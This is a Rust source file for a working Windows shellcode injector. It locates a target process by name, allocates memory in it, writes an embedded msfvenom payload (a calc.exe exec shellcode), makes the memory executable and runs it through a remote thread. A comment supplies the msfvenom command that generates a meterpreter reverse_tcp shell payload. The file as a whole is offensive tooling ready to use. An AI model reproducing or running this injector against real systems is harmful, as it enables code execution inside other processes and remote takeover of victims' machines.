main.rs

use std::ptr::{self, null, null_mut};
use sysinfo::{PidExt, ProcessExt, System, SystemExt};
use windows::Win32::Foundation::CloseHandle;
use windows::Win32::System::Diagnostics::Debug::WriteProcessMemory;
use windows::Win32::System::Memory::{
    VirtualAllocEx, VirtualProtectEx, MEM_COMMIT, MEM_RESERVE, PAGE_EXECUTE_READWRITE,
    PAGE_PROTECTION_FLAGS, PAGE_READWRITE,
};
use windows::Win32::System::Threading::{
    CreateRemoteThreadEx, OpenProcess, WaitForSingleObject, INFINITE, PROCESS_ALL_ACCESS,
};

fn main() {
    // msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PORT> EXITFUNC=thread -f rust
    // msfvenom -p windows/x64/exec CMD='calc.exe' EXITFUNC=none -f rust
    let buf: [u8; 276] = [
        0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52,
        0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52, 0x60, 0x48, 0x8b, 0x52, 0x18, 0x48,
        0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72, 0x50, 0x48, 0x0f, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9,
        0x48, 0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41,
        0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52, 0x20, 0x8b, 0x42, 0x3c, 0x48,
        0x01, 0xd0, 0x8b, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x67, 0x48, 0x01,
        0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44, 0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x56, 0x48,
        0xff, 0xc9, 0x41, 0x8b, 0x34, 0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
        0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0, 0x75, 0xf1, 0x4c, 0x03, 0x4c,
        0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd8, 0x58, 0x44, 0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0,
        0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44, 0x8b, 0x40, 0x1c, 0x49, 0x01, 0xd0, 0x41, 0x8b, 0x04,
        0x88, 0x48, 0x01, 0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59,
        0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0, 0x58, 0x41, 0x59, 0x5a, 0x48,
        0x8b, 0x12, 0xe9, 0x57, 0xff, 0xff, 0xff, 0x5d, 0x48, 0xba, 0x01, 0x00, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x48, 0x8d, 0x8d, 0x01, 0x01, 0x00, 0x00, 0x41, 0xba, 0x31, 0x8b, 0x6f,
        0x87, 0xff, 0xd5, 0xbb, 0xaa, 0xc5, 0xe2, 0x5d, 0x41, 0xba, 0xa6, 0x95, 0xbd, 0x9d, 0xff,
        0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0, 0x75, 0x05, 0xbb,
        0x47, 0x13, 0x72, 0x6f, 0x6a, 0x00, 0x59, 0x41, 0x89, 0xda, 0xff, 0xd5, 0x63, 0x61, 0x6c,
        0x63, 0x2e, 0x65, 0x78, 0x65, 0x00,
    ];

    let target_name = "Notepad.exe"; // Put the name of the process

    // Store information about the system the program is running on
    let mut system = System::new_all();

    // Up-to-date system information such as CPU usage, memory usage, information about running processes, and more
    system.refresh_all();

    // Fetching the process PID
    for (pid, process) in system.processes() {
        if process.name() == target_name {
            let pid_u32 = pid.as_u32();
            unsafe {
                println!("[i] Trying to open a Handle for the Process");
                match OpenProcess(PROCESS_ALL_ACCESS, false, pid_u32) {
                    Ok(hprocess) => {
                        println!("[i] Allocating Memory in the Process");
                        let haddr = VirtualAllocEx(
                            hprocess,
                            Some(ptr::null_mut()),
                            buf.len(),
                            MEM_COMMIT | MEM_RESERVE,
                            PAGE_READWRITE,
                        );

                        if haddr.is_null() {
                            eprintln!("[!] Failed to Allocate Memory in Target Process.");
                            CloseHandle(hprocess);
                            std::process::exit(-1)
                        }

                        println!("[i] Writing to memory");
                        WriteProcessMemory(
                            hprocess,
                            haddr, 
                            buf.as_ptr() as _,
                            buf.len(),
                            None
                        ).unwrap_or_else(|e| {
                                eprintln!("[!] WriteProcessMemory Failed With Error: {}", e);
                                CloseHandle(hprocess);
                                std::process::exit(-1);
                        });

                        let mut oldprotect: PAGE_PROTECTION_FLAGS = PAGE_PROTECTION_FLAGS(0);
                        VirtualProtectEx(
                            hprocess,
                            haddr,
                            buf.len(),
                            PAGE_EXECUTE_READWRITE,
                            &mut oldprotect,
                        ).unwrap_or_else(|e| {
                            eprintln!("[!] VirtualProtectEx Failed With Error: {}", e);
                            CloseHandle(hprocess);
                            std::process::exit(-1);
                        });

                        println!("[+] Creating a Remote Thread");
                        let hthread = CreateRemoteThreadEx(
                            hprocess,
                            Some(null()),
                            0,
                            Some(std::mem::transmute(haddr)),
                            Some(null()),
                            0,
                            None,
                            Some(null_mut()),
                        ).unwrap_or_else(|e| {
                            eprintln!("[!] CreateRemoteThreadEx Failed With Error: {}", e);
                            CloseHandle(hprocess);
                            std::process::exit(-1);
                        });

                        WaitForSingleObject(hthread, INFINITE);

                        CloseHandle(hprocess);
                        CloseHandle(hthread);

                        println!("[+] Executed!!");
                        break;
                    }
                    Err(pid) => {
                        eprintln!("[!] Error Getting Process Identifier {pid}");
                    }
                }
            }
        }
    }
}